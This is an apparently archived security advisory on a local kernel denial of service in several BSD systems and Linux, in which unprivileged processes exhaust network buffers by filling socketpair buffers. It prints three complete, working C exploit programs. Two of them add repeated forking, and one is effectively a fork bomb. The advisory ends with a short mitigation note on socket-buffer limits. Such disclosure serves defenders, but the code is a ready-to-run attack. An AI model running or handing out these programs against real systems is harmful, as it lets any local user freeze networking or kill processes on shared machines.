COMMAND
kernel
SYSTEMS AFFECTED
FreeBSD 3.3-RELEASE, FreeBSD 4.0-RELEASE, FreeBSD 5.0 (maybe)
Openbsd 2.5, Openbsd 2.6, Openbsd 2.7 (maybe), NetBSD 1.4.1
PROBLEM
Sven Berkenvs found following. He stumbled across a denial of
service attack on FreeBSD systems, where an unpriviledged user
can panic the kernel. The kernel logs one "/bsd: mb_map full"
and all processes trying to send something over the network get
stuck waiting in mbuf. Locally the system continues to function.
The original code written by Sven Berkenvs that causes this:
#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>
#define BUFFERSIZE 204800
extern int
main(void)
{
int p[2], i;
char crap[BUFFERSIZE];
while (1)
{
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
break;
i = BUFFERSIZE;
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i,sizeof(int));
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i,sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i,sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i,sizeof(int));
fcntl(p[0], F_SETFL, O_NONBLOCK);
fcntl(p[1], F_SETFL, O_NONBLOCK);
write(p[0], crap, BUFFERSIZE);
write(p[1], crap, BUFFERSIZE);
}
exit(0);
}
Linux is not generally vulnerable to the exploit as posted,
because it seems to only accept 64512 bytes from the write(2)s,
and limit the file descriptor table to 256 entries (at least by
default), thus making the program chew up less memory. However,
a trivial variant (see below) causes memory exhaustion on the
Linux system tested. Interestingly, this did not cause the Linux
system to crash, but it does cause a bunch of processes to be
killed -- gpm, klogd, update, crond, and finally the test program
itself. So there is still a denial of service, especially if the
program is modified to continually fork as well (also attached
below, although it could be done a bit better).
#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>
#define NPROCS 20
#define BUFFERSIZE 204800
extern int
main(void)
{
int p[2], i;
char crap[BUFFERSIZE];
for (i = 0; i < NPROCS - 1; i++) {
if (fork())
break;
}
sleep(5);
while (1)
{
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
break;
i = BUFFERSIZE;
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
fcntl(p[0], F_SETFL, O_NONBLOCK);
fcntl(p[1], F_SETFL, O_NONBLOCK);
write(p[0], crap, BUFFERSIZE);
write(p[1], crap, BUFFERSIZE);
}
pause();
return (0);
}
-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----
#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>
#define BUFFERSIZE 204800
extern int
main(void)
{
int p[2], i;
char crap[BUFFERSIZE];
while (1)
{
fork();
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
break;
i = BUFFERSIZE;
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
fcntl(p[0], F_SETFL, O_NONBLOCK);
fcntl(p[1], F_SETFL, O_NONBLOCK);
write(p[0], crap, BUFFERSIZE);
write(p[1], crap, BUFFERSIZE);
}
pause();
return (0);
}
SOLUTION
FreeBSD 4 and above are not vulnerable if proper limits are put
into place. These limits should be setup at the same time other
limits (such as 'maxproc' to disallow forkbombing) are set up.
Please see the the RLIMIT_SBSIZE option for setrlimit(2), it
allows a reasonable limit to be set for users socket buffers.
An undocumeted option for login.conf(5) 'sbsize' allows this
restriction to be put into place for users:
:sbsize=1048576:\
Of course the real solution is rmuser(8), but that's a matter of
policy.